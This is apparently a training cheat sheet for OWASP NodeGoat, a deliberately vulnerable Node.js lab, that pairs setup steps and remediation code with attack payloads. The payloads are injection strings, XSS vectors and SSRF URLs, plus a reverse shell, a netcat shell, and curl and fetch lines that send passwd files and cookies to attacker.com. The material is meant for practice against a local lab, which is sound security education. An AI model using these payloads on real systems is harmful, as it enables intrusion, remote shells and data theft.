NodeGoat
OWASP NodeGoat is a Node.js web application intentionally built with security vulnerabilities. It demonstrates how Node.js/Express applications can be vulnerable to injection attacks, XSS, SSRF, and authentication bypass, with remediation examples.
Installation and Setup
Docker Installation
# Clone repository
git clone https://github.com/OWASP/NodeGoat.git
cd NodeGoat
# Build Docker image
docker build -t nodegoat .
# Run container
docker run -p 4000:4000 nodegoat
# Access at http://localhost:4000
Local Installation
# Install Node.js 12.x or higher
# https://nodejs.org/
# Clone repository
git clone https://github.com/OWASP/NodeGoat.git
cd NodeGoat
# Install dependencies
npm install
# Run in development mode
npm start
# Access at http://localhost:4000
# Or run in production mode
npm run start:prod
Docker Compose
version: '3'
services:
nodegoat:
build: .
ports:
- "4000:4000"
environment:
- PORT=4000
- NODE_ENV=development
volumes:
- ./:/opt/nodegoat
docker-compose up
Application Navigation
Main Pages
# Home: http://localhost:4000
# Profile: User profile page
# User Info: View/edit user information
# Admin: Administrative panel (if authorized)
# Redirect: Redirect functionality
# Upload: File upload
# Benefit Calculator: Interactive form
Default Credentials
# Admin account often available
# admin / admin123
# test / test
# Or create new account via signup
Vulnerability Categories
Injection Attacks
| Type | Impact | Difficulty |
|---|---|---|
| NoSQL Injection | Database compromise | Beginner |
| SQL Injection | Data theft | Intermediate |
| Command Injection | RCE | Intermediate |
| LDAP Injection | Authentication bypass | Intermediate |
NoSQL Injection (MongoDB)
# 1. Authentication bypass
# Username: {"$ne": null}
# Password: {"$ne": null}
# Query becomes: {username: {$ne: null}, password: {$ne: null}}
# This matches any user
# 2. Data exfiltration
# Username: {"$regex": ".*"}
# Returns all users matching regex
# 3. Blind NoSQL injection
# Username: {"$gt": ""}
# Returns users where username > "" (all users)
# 4. Timing-based blind injection
# Username: {$where: "this.username == 'admin' && sleep(5000)"}
# 5. JavaScript execution
# Username: {$where: "this.password == 'pass' || 1==1"}
SQL Injection
# 1. Simple SQLi
' OR '1'='1' --
' OR 1=1 --
admin' --
# 2. UNION-based
' UNION SELECT NULL,NULL,NULL --
# 3. Boolean-based blind
' AND '1'='1
' AND '1'='2
# 4. Time-based blind
' AND SLEEP(5) --
# 5. Data extraction
' UNION SELECT table_name,column_name,3 FROM information_schema.columns --
Command Injection
# 1. Simple command injection
; whoami
| id
|| cat /etc/passwd
& ls -la
# 2. Reverse shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
# 3. Data exfiltration
; cat /etc/passwd | curl http://attacker.com/exfil -d @-
# 4. Command substitution
$(whoami)
`id`
# 5. Pipe to commands
| nc attacker.com 4444 -e /bin/sh
Server-Side Request Forgery (SSRF)
SSRF Exploitation
# 1. Access internal services
# http://localhost:4000/redirect?url=http://127.0.0.1:8080
# 2. Bypass authentication
# http://localhost:4000/proxy?target=http://admin-panel:8080/admin
# 3. Access cloud metadata
# http://localhost:4000/fetch?url=http://169.254.169.254/latest/meta-data/
# 4. Port scanning
# http://localhost:4000/ssrf?target=http://127.0.0.1:22
# http://localhost:4000/ssrf?target=http://127.0.0.1:3306
# 5. Read local files
# http://localhost:4000/fetch?url=file:///etc/passwd
# 6. Gopher protocol
# http://localhost:4000/ssrf?url=gopher://127.0.0.1:25
# 7. Dict protocol
# http://localhost:4000/ssrf?url=dict://127.0.0.1:11211
Cross-Site Scripting (XSS)
XSS in Node.js
# 1. Reflected XSS
# In search or user input
<script>alert('XSS')</script>
# 2. Stored XSS
# In user profile or comments
<img src=x onerror="alert('Stored XSS')">
# 3. DOM XSS
# Manipulate JavaScript code
# URL: #<script>alert('DOM XSS')</script>
# 4. Event handler XSS
<body onload="alert('XSS')">
<input autofocus onfocus="alert('XSS')">
# 5. SVG XSS
<svg onload="alert('XSS')">
# 6. Data attribute XSS
<div data="alert('XSS')"></div>
# 7. JSON injection
# Payload: "},"key":"<script>alert('XSS')</script>
# 8. Polyglot XSS
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//
Broken Authentication
Authentication Bypass
# 1. Default credentials
# admin / admin
# admin / admin123
# test / test
# 2. SQL injection in login
' OR '1'='1' --
# 3. NoSQL injection
{"$ne": null}
# 4. Session manipulation
# Extract session token
# Modify in localStorage/cookies
# 5. JWT weaknesses
# Weak secret key
# Algorithm confusion
# None algorithm
# 6. Password reset bypass
# Predictable reset tokens
# User enumeration via email
Insecure Deserialization
Deserialization Attacks
# 1. Pickle gadget chains
# Java serialization exploits
# Node.js: node-serialize vulnerability
# 2. YAML deserialization
# Dangerous YAML.load()
# RCE via object instantiation
# 3. Cookie tampering
# Base64 encoded objects
# Modify role/permissions
# 4. Template injection
# If using template deserialization
# Code execution via templates
Race Conditions
Race Condition Exploitation
# 1. Check-use-check pattern
# Time window between verification and execution
# 2. Create two simultaneous requests
# Burp Intruder: Send requests at same time
# Both bypass single-use token check
# 3. Stock/inventory exhaustion
# Order same item twice before stock decrements
# 4. Balance check bypass
# Transfer money twice before balance updates
Manual Testing Workflow
Reconnaissance
# 1. Explore application
# Click all links and buttons
# Note page parameters
# 2. Examine source code
# View page source (Ctrl+U)
# Check for comments with hints
# Look for API endpoints
# 3. Check API endpoints
# Browser Console:
# fetch('/api/users').then(r => r.json()).then(d => console.log(d))
# 4. Identify user roles
# Check if different roles have different pages
# Try to access admin as regular user
Vulnerability Testing
# 1. Test injection points
# Find form fields
# Test SQLi, NoSQL injection, command injection
# 2. Test XSS
# Profile fields
# Comments/feedback areas
# Search functionality
# 3. Test authentication
# Try default credentials
# Bypass login with injection
# Manipulate session tokens
# 4. Test authorization
# Access admin pages directly
# Modify user ID in URL
# Try IDOR attacks
Burp Suite Integration
Setup and Configuration
# 1. Configure browser proxy to localhost:8080
# 2. Start Burp Suite Community Edition
# 3. Navigate to NodeGoat
# 4. Intercept requests in Proxy tab
# 5. For specific testing:
# Send to Repeater for modifications
# Use Intruder for automation
# Use Scanner for vulnerability detection
Testing Strategy
# 1. Map application in Site map
# Proxy > Site map shows all endpoints
# 2. Test each endpoint for vulnerabilities
# Intruder: Cluster bomb on parameters
# Payload: Special characters for SQLi detection
# 3. Send interesting requests to Repeater
# Modify parameters
# Test different injection vectors
# Observe responses
# 4. Use Scanner for:
# Active scanning of endpoints
# Generating vulnerability report
# Getting proof of concepts
Browser DevTools Techniques
Console Exploitation
// Steal session token
console.log(localStorage);
console.log(sessionStorage);
console.log(document.cookie);
// Access API endpoints
fetch('/api/users')
.then(r => r.json())
.then(d => console.log(d));
// Modify localStorage
localStorage.setItem('role', 'admin');
// Execute code
eval('fetch("http://attacker.com/steal?c="+document.cookie)');
Network Tab Analysis
# Monitor API calls
# Check request/response headers
# Identify authentication tokens
# Note error messages with info disclosure
# Look for:
# JWT tokens in headers
# Session cookies
# API endpoints
# Database error messages
Common Vulnerabilities Demonstrated
| Vulnerability | Module | Exploitation |
|---|---|---|
| NoSQL Injection | User Auth | Bypass login with {“$ne”: null} |
| SQL Injection | Benefits | Extract data with UNION queries |
| XSS | Profile | Store JS in user profile |
| SSRF | Redirect | Access internal services |
| Command Injection | Admin | Execute OS commands |
| Broken Access | Admin | Access without permission |
| Insecure Crypto | Session | Crack weak tokens |
| Information Disclosure | Error Pages | Extract database info |
Remediation Examples
Prevent NoSQL Injection
// Vulnerable
User.find({username: req.body.username});
// Fixed - Use schema validation
const mongoose = require('mongoose');
const schema = new mongoose.Schema({
username: {type: String, required: true},
password: {type: String, required: true}
});
// Or use parameter types
db.collection('users').findOne({
username: String(req.body.username)
});
Prevent Command Injection
// Vulnerable
exec('ping ' + req.body.host);
// Fixed - Use execFile with arguments array
const { execFile } = require('child_process');
execFile('ping', [req.body.host], (error, stdout, stderr) => {
// Handle result
});
// Or use subprocess with shell escaping
const { spawn } = require('child_process');
const child = spawn('ping', [req.body.host]);
Prevent XSS
// Vulnerable
res.send('<p>' + userInput + '</p>');
// Fixed - Escape HTML
const escapeHtml = require('escape-html');
res.send('<p>' + escapeHtml(userInput) + '</p>');
// Or use template engine with auto-escaping
// Handlebars/EJS auto-escape by default
res.render('template', {userInput: userInput});
Best Practices for Learning
- Complete challenges in order of difficulty
- Understand each vulnerability type thoroughly
- Try multiple exploitation methods
- Study the vulnerable code
- Review the fixed/remediated code
- Document your findings
- Practice regularly
- Use both automated tools and manual testing
- Focus on understanding root causes
Resources
- OWASP NodeGoat GitHub
- Node.js Security Best Practices
- OWASP Top 10
- Express Security
- PortSwigger Web Security Academy
- HackTheBox
Last updated: 2026-03-30